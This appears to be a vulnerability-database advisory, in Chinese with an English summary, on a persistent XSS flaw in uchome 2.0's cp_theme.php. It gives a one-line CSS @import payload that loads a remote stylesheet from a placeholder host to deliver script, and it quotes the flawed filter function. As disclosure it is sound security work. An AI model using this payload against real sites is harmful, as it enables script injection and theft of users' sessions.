Lucene search
K

uchome 2.0 存在持久XSS漏洞

🗓️ 03 Sep 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

uchome 2.0 contains persistent XSS vulnerability in cp_theme.ph

Code

                                                以下在uchome 简体utf-8 2.0测试IE6,IE7,IE8通过.
@import url(http://xxx.com/1.css); 包含远程css文件,可以在1.css中写入XSS利用.

分析代码 cp_theme.php 92行(17行调用)

function checksecurity($str) {

	

	//执行一系列的过滤验证是否合法的CSS

	$filter = array(

		'/\/\*[\n\r]*(.+?)[\n\r]*\*\//is',

		'/[^a-z0-9]+/i',

	);

	$str = preg_replace($filter, '', $str); //过滤是过滤了,但只用于判断,没对源输入起作用

	if(preg_match("/(expression|implode|javascript)/i", $str)) {  //并没有对import、http等进行检测

		showmessage('css_contains_elements_of_insecurity');

	}

	return true;

}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation